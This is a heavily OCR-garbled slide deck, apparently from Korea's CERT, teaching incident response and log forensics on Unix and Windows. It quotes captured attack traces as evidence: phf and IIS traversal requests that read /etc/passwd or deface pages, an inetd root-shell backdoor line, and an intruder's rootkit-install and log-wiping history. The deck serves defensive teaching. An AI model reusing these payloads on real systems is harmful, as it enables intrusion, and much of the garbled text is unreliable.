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Emergency Action Plan
Phase 1 : Preparation
Phase 2 : |ldentification
Phase 3 : Containment
Phase 4 : Eradication
Phase 5 : Recovery
Phase 6 - Follow—Up
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« Emergency Action Plan

— Remain Calm

— Take Good Notes
« Who, What, When, Where, How and Why

— Notify The Right People And Get Help
— Enforce A “Need To Know” Policy

— Use Out—-of—-Band Communications

— Contain The Problem

— Make Backups

— Get Rid of The Problem

— Get Back In Business
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« Phase 1 : Preparation
— At M & a8 &2 KAG

o U=

ZXO| Lt SRHE 0 FFEE ALDX
HAASHH 2=

 |RT, Firewall, IDS, vendor

SIS 98 g

U= FA22 8
AHE |20 CIRT & 12
==

« Binary backup &Hl|, Forensic software, Fresh backup
media, CD’s with binaries, Hub, Laptop, ...
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 Phase 2 : |ldentification
- AMNDH2IE /s g 74
ol eventJt &Ml AFLLCIA] 2H
MASH I 20ILE AP H S X
. CEO, AFEDI 2, CIRT
HERI MBIAHSAN &2 2F
=2 220 A=
e Chain of Custody

XA D NS E(CERT) =29 I N CISN sr=munsngs
I
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 Phase 3 : Containment
=Mt H YLottle XS & A
l-:”ET'- = T'_—E'J
ol 2| eH
« dd, ghost, drive duplicator, ...
FH ANAYE 27 A
IHAKE D HI(sniffer 2 &)

— Windows &% Algt

XA D NS E(CERT) =29 I N CISN sr=munsngs
|




ZHAt LIS E(CERT) 2529 It (KIS v=3usongs

AP ES HAHE Ml EZ X

e Phase 4 : Eradication
— AtD R0l =AtES TFet
— BFX|CHEH 23}
 Defense in Depth
= A

o/

& o1 Ml A

&2 et HP== =0l

—
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« Phase 5 : Recovery
— HHDED AR K LH =2|oH A H
restore
‘ — ANAEI0 BAMEIZ 7 &0
— 29 S MIHot= AIEE2 AAE AKX A

- A& TR = 2LIHE




25 At IS € (CERT) 52 HE (KISA 9=3zsongs

« Phase 6 : Follow=-Up
— Follow—-Up 21 A &4
— Follow—Up meeting
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Router Log
~irewall Log

DS Log

— System Log
« UNIX(Linux, Solaris, HP—-UX, AIX, IRIX, ...
« Windows(Windows NT/2000, 95/98)

— Application Log
« Web, FTP, Sendmaill, ...




= A= AL, Solaris, AIX

-
N
-
=)
=]
A=
=

/var/adm
/var/log
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* View /etc/syslog.conf

# Log all kernel messages to the console.
# Logging much else clutters up the screen.
kern. /dev/console

# modified by hcjung 5/15/2000
*E @172.16.2.160

# Log anything (except mail) of level info or higher.
# Don't log private authentication messages!
*.info;mail.none;authpriv.none /var/log/messages

# The authpriv file has restricted access.
authpriv.* /var/log/secure

# Everybody gets emergency messages, plus log them on another
# machine.
*.emerg *
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« UTMP(X)

—_— — —_— [ — —_—
— oM =¢0lst AAZA=0 Uigt 32
‘ — /var/run/utmp, /etc/utmp
— Binary file
—Utmp &L E3 N
#w
9:11pm up 6 days, 5:01, S users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
chief pts/0 172.16.2.26 Mon10am 7:20m 0.19s 0.04s telnet xxx.xxx.150.39
hcjung pts/1 hcjung.kisa.or.k 5:59pm 0.00s 0.11s 0.01s w
root pts/3 - Thu 3pm Sdays 0.02s 0.02s -sh
Jys pts/6 172.16.2.159 Thu 7pm Sdays 0.15s 0.04s sh ./vetescan XxX.125.110.21
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=
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ZA=2 2190 20t 38
12| shutdown, booting & 2
‘ Binary file

witmp &L @40 last

|¢E

4
—

# last

rung ttyp0 xxXx.146.44.117 Thu Dec 9 20:47 - 20:57 (00:10)
moof  ttyp2 98AE63EE.ipt.aol Thu Dec 9 19:24 - 19:30 (00:06)
moof  ttyp2 98AEG63EE.ipt.aol Thu Dec 9 19:23 - 19:24 (00:00)
shinsh ftp ppp-tsl-port4.sa Sun Nov 7 00:13 - 00:15 (00:02)
hspark pts/2 147.46.76.171 Sat Nov 6 13:56 - 14:01 (00:05)
moksoon ftp ts7-70t-18.idire Sat Nov 6 13:26 - 13:30 (00:03)
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Secure
Hot ol=2ted QAKX E L&
— S0ol, TCP WrapperZ2 £H 2| Bl Al K|

# tail —f /var/log/secure

Apr 19 23:23:35 unsecure in.telnetd[645]: connect from 172.16.2.14

Apr 19 23:23:41 unsecure login: LOGIN ON 2 BY hcjung FROM hcjung
Apr 20 23:24:29 unsecure in.telnetd[1218]: refused connect from bluebird.certcc.or.kr
Apr 20 23:25:27 unsecure in.telnetd[1219]: connect from 172.16.2.161

Apr 20 23:25:33 unsecure login: LOGIN ON 3 BY hcjung FROM violet93
Apr 20 23:27:18 unsecure in.telnetd[1247]: warning: /etc/hosts.allow, line 6:
can't verify hostname: gethostbyname(hcjung.kisa.or.kr) failed

Apr 20 23:27:18 unsecure in.telnetd[1247]: connect from 172.16.2.14

Apr 20 23:27:43 unsecure login: LOGIN ON 4 BY hcjung FROM hcjung
Apr 20 23:28:51 unsecure in.ftpd[1276]: warning: /etc/hosts.allow, line 6:
can't verify hostname: gethostbyname(hcjung.kisa.or.kr) failed

Apr 20 23:28:51 unsecure in.ftpd[1276]: connect from 172.16.2.14




Loginlog
~ AlTHE 270!
- Jlefdl=z 4&

ICISN or=wunongy

# touch loginlog
# chown root loginlog
# chmod 600 loginlog

# tail —f /var/adm/loginlog

hcjung:/dev/pts/9:Fri Apr 20 14:48:46 2001
hcjung:/dev/pts/9:Fri Apr 20 14:48:54 2001
hcjung:/dev/pts/9:Fri Apr 20 14:49:02 2001
hcjung:/dev/pts/9:Fri Apr 20 14:49:11 2001
hcjung:/dev/pts/9:Fri Apr 20 14:49:20 2001
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— su(substitute user) & S/A I LHE IS
— effective UIDJ} HEtE ALE XS] UIDEZ HE
‘ e ANEANHIBUSO!| utmp2t wtmpWil Bt E X £ S

# tail —f /var/adm/sulog

SU 04/17 16:18 + pts/10 informix-root
SU 04/18 09:10 - pts/8 hcjung-root
SU 04/18 09:10 - pts/8 hcjung-root

SU 04/18 09:10 + pts/8 hcjung-root
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o Xferlog
— FtpdE 0|2t I =41 LHE D=

: — With “—I” option(/etc/inetd.conf)

« ftp  stream tcp  nowait root /usr/sbin/tcpd in.ftpd - -a

[incomingj
L

Sat Apr 21 00:53:44 2001 1 violet93.kisa.or.kr 14859 /tmp/statdx2.c a _ir root ftp 1 root ¢
Sat Apr 21 00:54:09 2001 1 violet93.kisa.or.kr 821 /etc/passwd a _ o r root ftp 1 root c

P

Loutgoingj
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— Ar= AL

Al
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or

YRR

# more ~/.bash_history
mkdir ." "

cd ." "

ncftp ftp.tehcnotronic.com
gunzip *.gz

tar -xvf *.tar

cd Irk4

make all

cd..

rm -Rf Irk4

ncftp ftp.technotronic.com
gunzip *.gz

tar -xvf *.tar

Ls

rm Irk4.src.tar

tar -xvf *.tar

cd Irk4

make install

cd ..

cd..

rm -Rf." "

pico /dev/ptyr

mkdir /usr/sbin/mistake.dir
rm /var/log/messages
rm /var/log/wtmp
touch /var/log/wtmp
pico /etc/passwd
reboot

exit
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« Messages
2Zs5A BH XK= HAIK D=
— Bljjet HEE D=
- HY 0l 2I2E HIAIX, 221 &Y

- ofiZ=E JIE =0

« TIP : use grep(eg. Grep sadmind messagesx)

Apr 10 17:25:53 victim /usr/dt/bin/rpc.ttdbserverd[29906]: Tt file system::
findBestMountPoint -- max_match_entry is null, aborting...

Apr 10 17:25:54 victim inetd[147]: /usr/dt/bin/rpc.ttdbserverd: Segmentation Fault - core dumped

Apr 10 17:26:03 victim /usr/dt/bin/rpc.ttdbserverd[8206]: iserase(): 78

Apr 10 17:26:14 victim inetd[147]: /usr/sbin/sadmind: Bus Error - core dumped

Apr 10 17:26:18 victim last message repeated 1 time

Apr 10 17:26:21 victim inetd[147]: /usr/sbin/sadmind: Segmentation Fault - core dumped

Apr 10 17:26:23 victim inetd[147]: /usr/sbin/sadmind: Hangup

Apr 10 17:31:20 victim login: change password failure: No account present for user

Apr 10 17:33:15 victim last message repeated 2 times

Apr 10 17:40:30 victim inetd[147]: /usr/dt/bin/rpc.ttdbserverd: Killed

Apr 10 17:40:30 victim inetd[147]: /usr/dt/bin/rpc.cmsd: Killed
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« Messages

— Amd attack signature & success
messages.1:Mar 11 05:20:50 xxx 27>Mar 11 05:20:50 amd[468]: amq requested mount

2222l alal 22l el 22l 2l Rl 2l 2l 2l 2l 2l 2l Rl 2l 2l 2l 2l 2l 2l 2l 22l 2l 22l 2l 2222l
AR X XA AKX XA R R XA XA XA XA AR XA XA R XA X XA A KR XA XXX XXX X L X WX LX X
slaizialialialalalal el e e alalal ezl alelalalal ezl el el el 2l el el el el el 2l 2l el
RKRKIAXAKAARA A A A AR AKAAA A A A AR A AR A A A A A AR AKX AMALLK A KR X LXK LXK X
2ialalalalalalalalalalalaalalalalalalaalal el el el a2l
A RXA XA A A A A A A A A A A A A A A AR A A A AR LA AR R ALALKLN LA LR LX LXK X

TL — — [l 0 .
H B EANSIEFALSAWS/Z?K?BE18 Jan 1998--str/bin/sh(-c)/bin/echo '2222

stream tcp nowait root /bin/sh s E & &S M~

[/tmp]#1s -1
-rw-rw-rw- 1 root root 116 Mar 11 05:20 h

[/tmp]# more h
2222 stream tcp nowait root /bin/sh sh -i
2222 stream tcp nowait root /bin/sh sh -i
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e access_log or error_log
9 MHIA 23 27
‘ —CGl FUE AMO|ILF 22 EHX]

XXX.XXX.XXX.XXX - - [16/Jun/1998:10:38:02 +0900] "GET /cgi-
bin/phf?Qname=root%0Acat%20/etc/passwd HTTP/1.1" 200 114873
XXX.XXX.XXX.XXX - - [16/Jun/1998:20:11:47 +0900] "GET /cgi-bin/phf
?Qalias=x%0a/bin/cat%?20/etc/passwd HTTP/1.0" 200 114889

XXX XXX.XXX.XXX - - [17/Jun/1998:15:37:11 +0900] "GET /cgi-bin/p
hf?Qalias=x%0a/bin/cat%20/etc/passwd HTTP/1.0" 200 114889
XXX.XXX.XXX.XXX - - [18/Jun/1998:09:56:49 +0900] "GET /cgi
-bin/phf/?Qalias=x%0acat%20/etc/passwd HTTP/1.1" 200 114884
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— MSQ| lISHHIA(Web, FTP, Gopher) && 27
‘ — CWWINNTWSystem32WLogFiles

2001-05-01 16:25:44 128.163.197.4 - xxx.xxx.139.225 80 GET

/scripts/..\../winnt/system32/cmd.exe /c+dir+..\ 200 —

2001-05-01 16:25:45 128.163.197.4 - xxx.xxx.139.225 80 GET

/scripts/..\../winnt/system32/cmd.exe /c+copy+\winnt\system32\cmd.exe+root.exe 502 —

2001-05-01 16:25:49 128.163.197.4 - xxx.xxx.139.225 80 GET /scripts/root.exe
/ct+echo+”<html”*>"*<body-+bgcolor%3Dblack*>"<br >A<brA>*<br >*<br*>"<br">"<br”>"<tabl
e+width%3D100% ">"<td*>*<p-+align%3D%22center %22">"<font+size%3D7+color%3Dred*>fuc
k+USA+Government” </font">"<tr*>"<td">"<p+align%3D%?22center %22 ">"<font+size % 3D7+col
or%3Dred*>fuck+PoizonBOx"<tr*>"<td*>"<p+align%3D%?22center %22 ">"<font+size %3D4+colo
r%3Dred”>contact:sysadmcn@yahoo.com.cn”*</html*>>.././index.asp

502 -
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 Event Log
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/etc/passwd, /etc/shadow
/etc/rcx
/var/spool/cron, /etc/crontab,

/etc/cron.d/
/etc/services
/etc/inetd.conf




» /etc/passwd

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin
meteor:x:501:100::/:/bin/csh
chief:x:502:502::/home/chief:/bin/bash
hcjung:x:503:503::/home/hcjung:/bin/bash
moof:x:0:0::/:/bin/bash
rung:x:501:501::/home/rung:/bin/bash
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rm -f /dev/fb
In -s $fbdev /dev/fb

fi
fi
# Name Server Cache Daemon..
/usr/sbin/nscd -q
#td start
lusr/src/.putaltd
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« /etc/inetd.conf

ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -1-a
\ telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd
#

# Shell, login, exec, comsat and talk are BSD protocols.

#

shell stream tcp nowait root /usr/sbin/tcpd in.rshd
#login stream tcp nowait root /usr/sbin/tcpd in.rlogind

exec stream tcp nowait root /usr/sbin/tcpd in.rexecd
2222 stream tcp nowait root /bin/bash bash -i
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e lI[H=4 Al &
— Rootkit =2
— Sniffer

— Vulnerability Scanner
— Exploit code
DOS attack tools

| 0g eraser
RC bot
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* Hidden Files & Directorys

“...”(dot dot dot)
“ "(space space
(space space)

“.. “(dot dot space space)
S AME LEELHELZ AIS
* Chattr

— changes the file attributes
— Root SO Z & AH| 20t
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IR EEETTIZEA

| “—ctime n” : changed n*24 hours ago
| e Find / —ctime =10 —Is

“—type ¢” : File is of type C
| e Find /dev —type f —Is

“—user uname” : File is owned by user uname
« Find / —user bad_guy —Is

“—perm mode” : File's with the permission bits
« Find / —user root —perm —4000 —print

“_name pattern” : files’s matches the pattern
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 Netstat
— Listen £ E 2} connection &t&t &0l

# netstat -a -p
et connections (servers and established)

Proto Reey-Q Send-Q Local Address Foreign Address State  PID/Program name
tcp 0 01 isa.or.k:9704 bluebird.certcc.0:62491 ESTABLISHED 1660/s

tep 0 0%:9704 *ok ne

tcp 0 0%:6000 *oE LISTEN  514/Xwrapper

tcp 0 0*:www *k LISTEN  474/httpd

tep 0 0 *:login *ok LISTEN  340/inetd

tep 0 0 *:shell *ok LISTEN  340/inetd

tep 0 0 *:telnet ** LISTEN  340/inetd

tcp 0 0*:Aftp *ok LISTEN  340/inetd

# tail /etc/inetd.conf

linuxconf stream tcp wait root /bin/linuxconf linuxconf --http
9704 stream tcp nowait root /bin/sh sh -i
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SAll=0l L2 HA AE

# ps aux

USER  PID %CPU %MEM VSZ RSSTTY STAT START TIME COMMAND
hcjung 649 0.0 0.7 1704 948 pts/2 S Aprl9 0:00 -bash

root 661 0.0 0.6 1944 860 pts/2 S Aprl9 0:00 su -

root 662 0.0 0.7 1744 1000 pts/2 S Aprl9 0:00 -bash

root 1279 0.0 1.5 4176 1976 ttyl S Apr20 0:00 hanterm

root 1281 0.0 0.7 1744 984 pts/4 S Apr20 0:00 -bash

root 1421 0.0 0.5 1584 744 pts/0 S 02:06 0:00 telnet 172.16.2.161

root 1732 0.0 0.6 1676 884 ? S 06:01 0:00 sh -i

root 1735 0.0 0.2 1116 376 ? SN 06:02 0:00 ./synf1.1.1.1 172.16.1.161 80 80
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Rootkitll 2lof HE &= U&=
— Login, inetd, rshd, tcpd, crontab, ps, top, pidof, ifconfig,
netstat, Is, du, find, syslogd, shell, chfn, chsh, passwd, ...

HE B0
— KNARK, ADORE, ...




Find troyjaned files

—|s —alc

— truss —t open ./Is (Solaris)

— strace —e trace=open ./Is (Linux)

[root@ns1 /bin]# strace —e trace=open ps

open("/lib/libc.so.6", O_RDONLY) =3

open("/dev/null", O_RDONLY |O_NONBLOCK|0x10000) =
—1 ENOTDIR (Not a directory)

open("/usr/src/.puta/.1file", O RDONLY) =3

open(".", O_RDONLY|O_NONBLOCK|0x10000) =3

[root@ns1 /bin]# more /usr/src/.puta/.1file

Jladdr
file
.1logz
dproc
smurf
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< # nslookup 211.32.119.135
Server: certcc.or.kr
Address: 211.252.150.1

Name: www.yahoo.co.kr
Address: 211.32.119.135

# nslookup www.yahoo.co.kr
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=23 AMOIE A &)
—~ Whois 0I2

« Whois —h whois.server.name domain.name

« whois —h whois.server.name ip.address

— whois M H
« whois.arin.net : &2 0 E2MS
« whois.apnic.net : ASIA-PACIFIC XI¥ THIEE M=
« whois.ripe.net: & X492 TH QI 2 M3
« whois.kric.net : =L S0 Cl(kr) 32 H S
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e« 22H AIQIE G2t )|

— Traceroute M%
4 _|_D=| A|.O|E -|
° _|_D:I Al‘OlEE—r

$ traceroute host3.example—site.edu

traceroute to host3.example—site.edu (10.72.0.176), 30 hops max
1 hop1.reporting—site.com (10.112.1.2) 2 ms 2 ms 1 ms

2 hop2.transit—network.net (10.288.114.254) 2 ms 2 ms 2 ms

3 hop3.transit—network.net (10.224.137.21) 3 ms 3 ms 5 ms

10 hop10.example—site.edu (10.192.33.3) 24 ms 26 ms 26 ms
11 hop11.example-site.edu (10.72.0.11) 27 ms 25 ms 27 ms
12 host3.example—site.edu (10.72.0.176) 26 ms 27 ms 26 ms
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— Netlab

« Finger, whois, ping, traceroute, DNS Port scan
E Metlab 1.3 - o ] |
Finger Whols | Time | Quote | Ping | Trace | OMS | Portscan | Info | Options | About |

Cluery |Et1. 252, 1501 Brint I Save Dutputl

Whols seruer:|whni5.arin.net ;| | Mhols | Camncel Calll

Copy | Delete Server Status: [Connection closed

Metname: SMET-CIDRO0Z L
Metblock: B4, 252 0,0 - B4, 252, 255, 255

Faintainer: SMT

Coordinatar:
Devetzis, Taso M (THD-ARIM) devetzis@SHET,MET
+1 203 771 8917 (Fax) +1 203 771 2008

Domain Systern inverse mapping provided by

204, 60,02
204,600, 3
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NETWORK: NETBLK-SNET-CIDR002 [65536] (whois. arin.nety Snap... | < [ > [

) — —
o _|_D:| Al.Ol gan_l Il—jl
—_ \/lS u al ro u te SNE%EEEEEQ'%;%E:S East) (NETELK-SHET-CIDROOZ)
* Visual traceroute et SET-C A

Netblock: B4.252.0.0 - B4,252 255,255
Maintainer: SNT

ualRoute 5 2b

File Edit Options Tools Help Coordinator:
Devetzis, Taso N (TMO-ARIM)  devetzis@SWET . MET
{ Host |54.252,15I1I o P Addresses |84.252.1ED,1 +1 203 771 8317 (FAX) +1 203 771 2008

Domain System inverse mapping provided by:

Feport for 64, 252,150, 1

Gnalysis! IF packeiz are being Tost past network privale usej” athop T, There is insufii mg;gmgmg Sggggg%
determine the next netwark at hop Connections to HTTP port 80 are being rejected, ' ' e

AODRESSES WITHIN THIS BLOCK ARE WOM-PORTAELE

Hop |%Loss |IP Address Mode Marme Location Tzon|ms Gr:

0 172.16.2.14 hejung Record last updated on |Gs 1.

1 172.16.2.1 _ 0 Database last up -Rpr-2001 00:14:29 EOT.
7 B4,252,150.1 |- Meriden, CT 05451 SNET Internet

Roundtrip time to 772, 76,2 7. average = 0ms. min = 0ms, max = 0ms — 200174727 TIERLT £°°




XA D NS E(CERT) =29 I N CISN sr=munsngs

— http://www.first.org/team—info/
— =L} : cert@certcc.or.kr
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WAL DS E(CERT) =29 I X IKISNA

CrREERTTIgH

e E—mall

—Zdd 2] dESS WEe == as8d80l By

- d828 M3

— CC : cert@certcc.or.kr
security@domain.name - BHorztd At EY A Y =4
cert@domain.name - BOorataE At 85 A HE =4
abuse@domain.name - HERA 22 S HY =4
root@domain.name - SUA AIAE 22X F=A
postmaster@domain.name — E-mail &2lA =4
webmaster@domain.name - 3ANH 22l =4
ip@domain.name — ISPe & HIQl &= 2tel At

« M3}
01251 1L B2 XXt LB AFDAI R E e12510]
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— Netlab

{
« http://www.listsoft.com/eng/programs/pri34.htm

Visualroute
« http://www.visualroute.com

Lsof
« ftp://vic.cc.purdue.edu/pub/tools/unix/Isof/

Tripwire
« http://www.tripwire.com/

Tcpdump
« http://www.tcpdump.org

Snhoop
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+ PGP?
— Pretty Good Privacy

— 19914 0|1=22 Phil Zimmermann®f| 2|alf Jl &=l
NIRRT Hote

1 - 1
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File Edit ¥iew Keys Server Groups Help

AR -G IR N
Keys [ wali.. [ Trst | Size | Description 2|
# @ BT CERT First Rep <first-rep@btcert,bt,com? @ [ 204871024 DH/DSE public key J
m@ BT CERT First Team <first-team@btcen.btc... @ —— 2048/1024 DH/DSS public key
# %= CanCERT <cancen@cancer,ca> @ HSA public keg.I

a &  — L
e}

=] certicc-kr <cert@cericc, or kr>
2 certco-kr <cent@certce,or, ke

A, AUSCERT <auscert@auscert,org,au> RS54 exportable signature
-, Unknown Signer, Key ID je OnFC72574D R54A exportable signature
¢y, certcckr <cent@certcc,or k> RS54 exportable signature
&%= CERT Coordination Center <cen@cert,arg> .., R34 public key
ﬂ@? ran-nl 1999-kew <red-nl@sofneat ol RSA nuhlic kew

[ 1 keyis) selected |

S2H, NBXOIE, SoI% 4
RSA, Diffie-Hellman/DSS AHS
o« ZIH3I| Dt

— Cumulative trust AI=

L
-y, Unknown Signer. Key ID je InCES2097 RS4& exportable signature
4
|
i
I
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e S PGP L2222t
— http://www.pgpi.org/
e X 2 AlEH
—~-PGP 651 &X ¥ S9II0|1&
— http://www.certcc.or.kr/tools/PGP.html|
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D—Encrypt—

Cormposition =10j x|
;IQIEI File Edit “iew Insert Format Tools Comrmunicator Help
Tools Communicator Help £ T LN v = = 5
= ; - : g"%:l Qii Ad?ﬂ Attach O\?ﬁ S 'SWE é.‘;t‘ Sﬁt S%ﬁ
. ™ G == # E en uote ress ac ions ellin ave rin ecuri 0
AT - ¢ = & 4 N . e, Seele =
Send COuote  Address  Attach  Options  Spelling  Save Security  Siop &) =_To: B auscertBavscert, org, au
ﬁ - To;lauscert@auscart.org.au E
(== g
& L |

@ Subject [T0P Secrate priortty: [ormal =]

= Normal v| [Variable Widt x| [12 <] lz] A A A # =
Subject |TDD ecrete Priority: |Mormal j -] —

BEGIN PGP MESSAGE—

L

L [Mormal =] [Variable widt=]| [l2 =] lz] A 4 A A2 = & < Version: PGPfreeware 6.5.8 for non-commercial use <http://www.pgp.com>
‘i

i

L

Your server is compromised!] hQCMABYWIOSRG S AQP+LIWIMB0SSP+CFmp 1 AKweT X j2H3FmKs2CBMaT SN0
MNBUEaUrmjvosGZb ZtryeRoloGt24tXEXisp4rhzdbg2espYUNCERIC FCKUCyQTYL
gAxLi/e ARLZw] XpINTrZgF zhNHSTNVAVIINVAIDOB Y dgxb 2ligo 2L Z Uk 5+
AlDKH3TYXIDYMOBEBACUZDVFayDalybveEUChUCHITOLOKEzKpaPpd WX SRETgd
JeVrtZmL FhiUtyYudRrd8weAZ KQATslcUbk STIYIBDg2HB Javwak ImPTIhYalT16
i83ERILCrabh80LLYThhSpiwaMMyYkoABep3ZgiP+ak CrinwvGZHBUIBGhLINK Iz
ngEMVm1JYPkamvGTuiFSMDOEHFthjSW BWhN+ahBchFWyxQigUgwwAdaczg1D3

END PGP MESSAGE—

|
/‘Iﬁl — : — - | b |Document: Done
Drag users from this list to the Recipients list | Walidity [ Size
[=14nn Campi <acampi@®nal, com?> [+ 20481024
F=1Eill Elanke <wib@pgp.com?> 4096,/1024
[IBT CERT CC <btcertcc@boat bt com’ 204871024
[=1BT CERT First Rep <first-rep@btcen.bt.com? 2048,/1024
[=1BT CERT First Team <first-team@btcert, bt com> 2048/1024
Eﬂﬂ =1CanCERT <cancert@cancer, car
FCERT Conrdinafion Center <cen@cer, arg> (expi...
ﬂI‘ID F=cert-nl, 1999-key {cer-nli@surnet,nl>
Empiy EI_DEUI‘]E [ cett-nl, master-certification-key

Edif Fecipients | Walidity [ Size
mm 1AJSCERT <auscer@auscert, org,aus [+ 1024

Decrypl & Verily P [cetco-kr <cet@certoe, o kr> @ 1024

Eperypt & Sign .

Sian Current Window #

Ok I ¢ |
E": rvpl I~ Secure Viewer — =nee

5 # r
ﬂgﬁl "E' t [~ Conventional Encryption

COeOeeEE
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S% Announce - Compo
File Edit “iew Insert Format Tools Communicatar  Help

. =
? ., 5
Send Quote  Address  Attach  Options  Spelling  Save Print  Security  Stop

7 lﬁ ~ To- auscert@auscert ,org,au
nnunee = CHTAETN S [=TES| =z
File Edit Miew Insert Format Tools Communicator Help @
e o o =¥ P
e o8 £ % @l ok ok & ]
Send Quote Address Attach Options  Spelling Save Print Security Stop Sk |Ann0unce G INormaI j
-~ Ta: auscert@auscert .org. au = - = .

% [Mormal =] [Variable widt=| [l2 =] =] A 4 A & = = E
il =

Hash: SHA1

[Mormal =] [Variable widt=] [12 =] [l=] A A A & = & DL
This is HyunCheol Jeong | This is HyunCheol Jeong.

BEGIM PGP SIGMNATURE
Yersion: PGRfreeware 6.5.8 for non—commercial use <http: /A pap. com >

QA AwUBPY OB 2vex 8ohul xe 1 EQka+wC a329myiKisl8s Ztwzp+z+DLHh 1QAAN3EE
151g0kJrDtyVm12PMBE2yA0N 5
5R

Eime = [Dacument: Dane

Sigring ke © [ HyynCheal, Jeong <hcjung@certe...  [D55/1024) =]
Exl
Help
Optong, ,,

POk ey
PGPl

Enter pazsphraze for above key: ¥ Hide Typing

Empty
Edif

Decrypl & Verily
Epcrypt & Sign ;
Sian Current Window #
Encripl

=
[~

k — - BEGIMN PGP SIGNED MESSAGE
Subject: [ANNoUNCe Eriority INurmaI =1

‘i

i

L 2 - = : 4

g

| GPtray et ASE




Il
ol

WAL DS E(CERT) =29 I X CISN sr=munsngs

D—Decrypt & Verity—

<Verify>

Message was encrypted to the following public kepls] :
AUSCERT <auscerti®auzcert org. aur [AS4/1024]

I certoo-kr <certi@certce.or ke [RSA/1024)
‘i
]
>
|

== PGF Signature Status: good ]
Enter passphrasze for your private key : ¥ Hide Typing ::: g:g::;lI-é_l,JDannggﬁ%J&ngg;ﬂhggr{u%@certcc.0r.kr> (Inwvalid]
== erfied: 2002-09-18 2= 10:48:18

#* BEGIM PGP YERIFIED MESSAGE =

Thisg iz HyunCheol Jeong,

== END PGP WERIFIED MESSAGE =

[r'our server is compromised!

LCopy to Clipboard I Copy to Clipboard I
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